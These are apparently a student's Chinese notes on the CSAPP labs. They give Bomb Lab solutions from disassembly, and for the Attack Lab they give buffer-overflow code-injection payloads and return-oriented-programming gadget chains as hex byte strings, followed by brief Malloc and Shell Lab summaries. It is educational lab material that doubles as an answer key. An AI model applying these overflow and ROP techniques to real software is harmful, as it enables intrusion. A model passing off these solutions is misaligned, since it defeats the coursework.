CSAPP实验笔记

CSAPP的实验笔记（网址http://csapp.cs.cmu.edu/3e/labs.html）。真够无聊的……

Bomb Lab

先反汇编，从main开始，依次调用initialize_bomb phase_1 phase_defused...直到phase_6 phase_defused一系列函数。

`phase_defused`

先从这个被调用了6次的函数看起，因为我估计这个应该相对简单，算热身一下。

它会将num_input_string的值和6比较（一个位于0x603760的全局变量，应该是输入过多少次字符串了），如果不相等直接结束。

随后它调用sscanf，（这里已经优化成用寄存器传参了）r8 rcx rdx分别是三个接收的变量，传入的格式串为0x402619处的"%d %d %s"，输入串则在0x603870，不知道实际是什么。

如果成功读到3个数，会调用strings_not_equal，参数包括0x402622的"DrEvil"和一个变量（推测这个是刚刚读入的%s）。如果返回0,那么调用puts输出"Curses, you've found the secret phase!" "But finding it and solving it are quite different"；随后调用secret_phase函数。

不论是否返回0，都会输出"Congratulations! You've defused the bomb!"，随后结束。如果没有成功读到3个数那么直接结束。

从这里我们可以看出，这是第6关之后的一个隐藏关，需要某个字符串具有%d %d DrEvil的形式才会开启。我们等6关玩完了再解它。

`initialize_bomb`

这个函数很短，调用了signal函数，参数包括0x4012a0（函数指针，指向sig_handler）以及一个数2。查阅资料，这个函数用于设置程序对某种信号的响应策略，2是某种信号值常量。

再看这个信号处理函数，它会输出"So you think you can stop the bomb with ctrl-c, do you?"，sleep 3秒，然后printf"Well..."，fflush stdout，再sleep 1秒，输出"OK. :-)"结束。

试一下就知道，这个处理其实只是阻断一下Ctrl-C的退出而已，没什么重要的。

`phase_1`

也很短，比较一下输入字符串和0x402400即字符串"Border relations with Canada have never been better."（注意有一个点，ASCII码0x2e），失败则调用explode_bomb爆炸。

`phase_2`

首先调用read_six_numbers，参数是%rsp=%rsi，然后传入了%rsi + 0/0x4/0x14/0x10/0xc/0x8六个参数（部分寄存器部分栈），以及格式串0x4025c3即"%d %d %d %d %d %d"。如果返回值大于6则结束，否则爆炸。

随后会进行一系列判断，包括(%rsp)=1、2*(%rsp)=(%rsp+0x4)、2*(%rsp+0x4)=(%rsp+0x8)……其实就是要求输入等比数列1 2 4 8 16 32。

`phase_3`

首先用sscanf输入，格式串为0x4025cf的"%d %d，存入%rsp+0xc/0x8。然后要求(%rsp+0x8)<=7，跳转到0x402470+8*(%rsp+0x8)。这是一个表：

402470 7c0f4000 00000000 b90f4000 00000000
402480 830f4000 00000000 8a0f4000 00000000
402490 910f4000 00000000 980f4000 00000000
4024a0 9f0f4000 00000000 a60f4000 00000000

可以看到，根据(%rsp+0x8)的值为0~7，会跳转到不同的地方，对应会给%eax赋予0xcf 0x137 0x2c3 0x100 0x185 0xce 0x2aa 0x147，随后统一跳转，并要求(%rsp+0xc)=%eax。

由于前面的要求，(%rsp+0x8)只能为7，从而(%rsp+0xc)只能为0x147也就是327。输入7 327。

`phase_4`

首先还是用sscanf输入两个数字存入%rsp+0xc/0x8。然后要求0xe<=(%rsp+0x8)，然后调用func4，参数为%edx=0xe %esi=0 %edi=(%rsp+0x8)，要求返回0。随后再要求(%rsp+0xc)=0。

func4(a,b,c)是递归函数，首先计算%ecx = d = (((a-b)>>>31)+(a-b))>>1 + b，将其与c相比。如果c<d，返回func4(d-1,b,c)*2；如果c=d，返回0；如果c>d，返回func4(a,d+1,c)*2+1。

很多符号方面的细节感觉搞得不太对。总而言之，这个func4是一个二分的过程，当(a+b)/2=c的时候可以直接结束，因此我们尝试输入7 0，发现直接成功。

`phase_5`

首先调用string_length函数，要求长度为6，输入的字符串应该在%rdi=%rbx。然后%rax从0开始逐渐增加到6，这个过程中计算0x4024b0 + (%rax+%rbx) & 0xf，将这个地址对应的字节存入%rsp+%rax+0x10的位置。之后再对0x40245e和%rsp+0x10的字符串调用strings_not_equal，要求返回0（也就是两个字符串相同）。

0x4024b0开始的16个字符为maduiersnfotvbyl。0x40245e开始的字符串为flyers。这应该是某种置换过程，对应观察，输入的六个字符的低16位应该分别为0x9 0xf 0xe 0x5 0x6 0x7。在ASCII的小写字母区查找（不在小写字母区应该也可以，但我没有试了），对应字符串应该为ionefg，确实可行。

`phase_6`

首先还是调用read_six_numbers，参数同样是%rsp，所以传入的6个数仍然是%rsp + 0/0x4/0x14/0x10/0xc/0x8。然后和变帽子一样把值在寄存器里传来传去：

%rsp的值存入%r13 %rsi %r14 %rbp，%r12d=0。然后要求(%r13)-0x1<=0x5，并让%ebx=%r12d+1，检查要求(%rsp+%ebx*4)!=(%r13+0)直到%ebx=5，再%r13=%rsp+4，重复循环。因此可以估计到这个循环是要求所有数大于等于6，并且互不相同，也就是所有数构成1～6的一个排列才对。

接下来，%rsi=%rsp+0x18，%rax=%r14=%rsp，%ecx=7。然后，%edx=%ecx，并让%edx-=(%rax)，存入(%rax)，%rax+=4，循环直到%rsi=%rax。这个循环是将6个数从$x$变成$7-x$。

接下来，%rsi=0，检查%ecx=(%rsp+%rsi)，如果小于等于1，将0x6032d0存入(%rsp+2*%rsi+0x20)，%rsi+=4，如果%rsi等于0x18，就结束循环；否则，重复上面的操作。如果大于1，%eax=1，%edx=0x6032d0，然后一个新循环，%rdx=(%rdx+0x8)，%eax+=1，比较%ecx与%eax，如果不等则继续此循环，相等则将%rdx存入(%rsp+2*%rsi+0x20)，%rsi+=4，检查大循环条件。

这整个循环比较复杂，%rsp+0x20开始的是一个新的数组。考察一下0x6032d0的内容：

6032d0 4c010000 01000000 e0326000 00000000
6032e0 a8000000 02000000 f0326000 00000000
6032f0 9c030000 03000000 00336000 00000000
603300 b3020000 04000000 10336000 00000000
603310 dd010000 05000000 20336000 00000000
603320 bb010000 06000000 00000000 00000000
603330 00000000 00000000 00000000 00000000

从而，数据的传递链为：0x6032d0 -> 0x6032e0 -> 0x6032f0 -> 0x603300 -> 0x603310 -> 0x603320 -> 0。我们注意到这其实是一个链表结构。

所以，这个循环根据输入数的值，在新数组中存入对应的地址，对应关系为：

原来的数	6	5	4	3	2	1
7-x处理后	1	2	3	4	5	6
新数组中	6032d0	6032e0	6032f0	603300	603310	603320

接下来，%rcx=%rbx=(%rsp+0x20) %rax=%rsp+0x20+0x8 %rsi=%rsp+0x20+0x30。然后循环开始，每轮将%rdx=(%rax)存入(%rcx+8)，再%rax+=8，如果%rax=%rsi就结束循环，否则将上面那个值也就是%rdx存入%rcx，继续循环。循环结束后(%rdx+0x8)=0。这个循环从1号元素开始，更新了一遍上面的表（指第3 4列）。新数组1号元素对应的表值被存入0号元素对应的表……以此类推。最后一个存入0。这也就是说我们按照新数组的顺序重排了链表，现在新数组0号元素的后继是新数组1号元素，以此类推。

最后的最后，%ebp=5，循环开始，%rax=(%rbx+0x8)，%eax=(%rax)，并要求%eax < (%rbx)。之后%rbx=(%rbx+0x8)，%ebp-=1继续循环直到%ebp=0。很明显这是一种有序性的要求。具体而言，要求链表从新数组0号元素出发，其值单调递减。并且，这个要求的是4个字节大小的范围。

我们甚至可以写出大概的代码：

struct node{
	int x;
	struct node* next;
} *listhead;

int main(){
	...
	int a[6];
	struct node *b[6];
	
	for(int i=0; i<6; i++){
		assert(a[i]<=6);
		a[i] = 7-a[i];
		if(a[i]<=1)
			b[i] = listhead;
		else{
			b[i] = listhead;
			for(int j=1; j!=a[i]; j++)
				b[i] = b[i]->next;
		}
	}
	
	struct node *temp;
	for(int i=1; i<6; i++){
		temp = b[i-1]->next = b[i];
	}
	temp->next = NULL;
	
	for(int i=0; i<5; i++)
		assert(b[i]->next->x < b[i]->x);
}

回到原来的链表，表中元素的值以及他们应当对应的新数组位置为：

表地址	6032d0	6032e0	6032f0	603300	603310	603320
表中元素	014c	00a8	039c	02b3	01dd	01bb
对应位置	4	5	0	1	2	3

从而反推输入的值：

新数组地址	6032f0	603300	603310	603320	6032d0	6032e0
反转后输入	3	4	5	6	1	2
输入值	4	3	2	1	6	5

输入4 3 2 1 6 5。

附加关

第6关做的呕吐，所以附加关不做了，直接看网上答案怎么做的就行。

Attack Lab

主要是利用栈的漏洞进行攻击，分为代码注入和面向返回攻击两部分。

代码注入

代码顺序main -> stable_launch -> launch -> test。里面主要是处理服务器相关的东西，我们不用管，test的结构说明书上已经写了。

Level 1

我们的目的是构造特殊的输入，使得缓冲区溢出，从而跳转到touch1函数。用gdb执行调试，在getbuf开始时停顿，反汇编。我们可以看到，%rsp-0x28是buf的开始位置，返回地址存放于%rsp处，而touch1的值为0x4017c0。我们只需要前0x28=40个字符非换行（比如，空格0x20），然后再8个字符等于返回地址0x00000000004017c0即可，答案如下：

20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
c0 17 40 00
00 00 00 00

Level 2

我们需要构造一段程序，将%rdi赋予cookie（0x59b997fa），然后通过ret函数跳转到touch2函数。为此我们需要构造如下的程序：

1 2	mov $0x59b997fa, %rdi ret

buf开始的先存放这部分代码，末尾存放指向这个代码的返回地址；末尾的后面则要再追加touch2的地址0x4017ec（用于上面的ret指令，注意栈是从高地址往低地址增长的，出栈则会反过来）。此外通过gdb可以得知，buf的起始地址为0x5561dc78，这就是第一个返回地址。答案如下：

48 c7 c7 fa
97 b9 59 c3
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
78 dc 61 55
00 00 00 00
ec 17 40 00
00 00 00 00

Level 3

我们需要构造一段程序，将一个指向内容为"59b997fa"的字符串指针赋给%rdi，然后调用touch2。

根据ASCII对应，这个字符串应该为35 39 62 39 39 37 66 61 00。 ~~不妨将这个字符串就存放在第一个返回地址的前面，可以计算出这个位置为0x5561dc78+0x28-0x9=0x5561dc97。~~ 根据说明书的指导，我们不能放在这种位置，因为它会被hexmatch等函数所使用的堆栈覆盖掉。

我们需要把字符串放在第二个返回地址的后面，可以计算出这个位置为0x5561dc78+56=0x5561dcb0。程序代码不需要动，把立即数响应修改一下就可以了。第二个返回地址也应该修改为touch3的地址0x4018fa。答案如下：

48 c7 c7 b0
dc 61 55 c3
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
78 dc 61 55
00 00 00 00
fa 18 40 00
00 00 00 00
35 39 62 39
39 37 66 61
00

面向返回攻击

面向返回攻击的大概思想是，由于x86的编码机制，可以从指令的中间截断并将后半部分视为一个新指令；我们希望在已有的程序中发掘一些形如“有用的指令+ret”的片段，将它们组合成一段可用的程序。

Level 2

我们在start_farm到mid_farm中间一段的代码中寻找可能有用的片段。

getval_280的指令片段58 90 c3对应代码popq %rax; nop; retq，起始地址0x4019ca+2=0x4019cc。

addval_273的指令片段48 89 c7 c3对应代码mov %rax, %rdi; reqt，起始地址0x4019a0+2=0x4019a2。

有了这两段指令，我们从栈上取出0x59b997fa到%rax，再传入%rdi，调用touch2，完成。还是注意栈从高往低增长，所以我们的地址从低往高放。答案为：

20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
cc 19 40 00
00 00 00 00
fa 97 b9 59
00 00 00 00
a2 19 40 00
00 00 00 00
ec 17 40 00
00 00 00 00

Level 3

首先考虑一下我们的思路。我们会在栈上构造一个"59b997fa"，并希望将它的地址传给%edi。但是，由于栈随机化的存在，我们需要将%rsp的值传给%rdi，然后用popq指令调整到正确的返回地址。

这个过程不会是一下子完成的。我们先考虑最后一步，一定是popq之后做一些可能没用的操作，然后ret。可以这样做的情况包括：

函数	指令
`addval_219`	`pop %rax`
`addval_280`	`pop %rax`
`getval_481`	`pop %rsp; movl %eax,%edx`

好像没什么有意义的。再看看mov %rsp, ???的指令：

函数	指令
`addval_190`	`movq %rsp, %rax`
`addval_110`	`movl %esp, %eax`
`setval_181`	`movl %esp, %eax`
`setval_350`	`movq %rsp, %rax`

再考虑出现过那几个功能性nop的指令：

函数	指令
`getval_311`	`movl %edx, %ecx`
`addval_187`	`movl %ecx, %esi`
`getval_159`	`movl %edx, %ecx`
`addval_487`	`movl %eax, %edx`

好吧我承认我这里没思路了……

上网看了一下答案，有一个重要的工具是add_xy里的lea (%rdi,%rsi,1),%rax。为此我们的思路为：

%rsp -> %rax -> %rdi，得到一个栈上的地址；
pop %rax(%eax) -> %edx -> %ecx -> %esi(%rsi)，从栈上获得一个偏移量；
%rdi+%rsi -> %rax -> %rdi，此时加起来的值要恰好指向我们在栈上的字符串地址。

所以序列为：

指令	起始地址
`movq %rsp, %rax`	`0x401a06`
`movq %rax, %rdi`	`0x4019a2`
`popq %rax`	`0x4019cc`
`movl %eax, %edx`	`0x401a42`
`movl %edx, %ecx`	`0x401a34`
`movl %ecx, %esi`	`0x401a27`
`lea (%rdi, %rsi, 1), %rax`	`0x4019d6`
`movq %rax, %rdi`	`0x4019a2`
`touch3...`	`0x4018fa`

在0x4018fa的后面放置字符串。获取到的rsp恰好是第二个地址的位置，中间相隔8个地址和1个偏移量，所以偏移量等于9*8=72=0x48。

20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20
20 20 20 20

06 1a 40 00
00 00 00 00
a2 19 40 00
00 00 00 00
cc 19 40 00
00 00 00 00

48 00 00 00
00 00 00 00

42 1a 40 00
00 00 00 00
34 1a 40 00
00 00 00 00
27 1a 40 00
00 00 00 00
d6 19 40 00
00 00 00 00
a2 19 40 00
00 00 00 00
fa 18 40 00
00 00 00 00

35 39 62 39
39 37 66 61
00

Malloc Lab

按照指令，我们需要在mm.c里实现mm_init mm_malloc mm_free mm_realloc四个函数进行动态内存分配，而底层则是memlib.c里的mem_sbrk函数（这个函数可以扩大堆空间的范围）。

没心思做太多优化，而且公开的压缩包里也只有两个小规模的数据集。所以我们参考CSAPP书上的内容，实现一个非常简单的首次分配算法的动态内存分配。

首先实现基础设施，包括提取header的位置、计算长度、查看和设置是否已经被分配了；
mm_malloc遍历所有块，找到可用且空间足够的块，否则就申请新的内存；
mm_free不仅释放块，而且将它与后面的空闲块合并；
mm_realloc先将块与后面的空闲块合并；如果可以分裂，就将块分裂成两部分；否则就用mm_malloc申请一个新的。

trace  valid  util     ops      secs  Kops
 0       yes   84%    5694  0.009977   571
 1       yes   87%    5848  0.008971   652
 2       yes   85%    6648  0.013163   505
 3       yes   87%    5380  0.009712   554
 4       yes   18%   14400  0.000251 57279
 5       yes   91%    4800  0.008327   576
 6       yes   88%    4800  0.007466   643
 7       yes   55%   12000  0.157215    76
 8       yes   51%   24000  0.297923    81
 9       yes   68%   14401  0.000227 63329
10       yes    4%   14401  0.002923  4927
Total          65%  112372  0.516155   218

Perf index = 39 (util) + 15 (thru) = 54/100

效果比较差，不管他了。

Shell Lab

我们主要要实现shell中的多任务功能。UNIX系统调用接口真够难用的，尤其是waitpid的机制、进程组的概念这两个地方。

按照设计，我们需要依次完成以下几个函数：

eval：调用parseline解析命令行参数；分辨命令名，如果是内置命令（quit jobs bg fg）就调用builtin_cmd直接执行；否则：
- fork
- 用setpgid生成一个新的进程组ID（这一步是为了能够区分每个job的后代，每个job的第一个进程和后代进程共享一个进程组ID）
- execvp
- 调用addjob添加任务，设置任务状态，并且：
  - 如果前台执行，调用waitfg等待子进程执行完毕；
  - 如果后台执行，输出这个job的信息提示。
builtin_cmd：再分辨命令名，quit直接退出，jobs调用listjobs，否则调用do_fgbg；
do_fgbg：首先进行参数检查并得到要处理的job，然后和上面一样更新任务状态并waitfg或者输出信息；
waitfg：使用waitpid系统调用，阻塞式地等待前台进程所在进程组ID的所有进程阻塞或终止，然后根据进程的状态输出相应信息；
sigchld_handler：使用waitpid系统调用，非阻塞式地查询是否有任一子进程阻塞或终止，然后根据进程的状态输出相应信息；
sigint_handler sigtstp_handler：将相同信号用kill系统调用再次传给前台进程所在进程组ID的所有进程。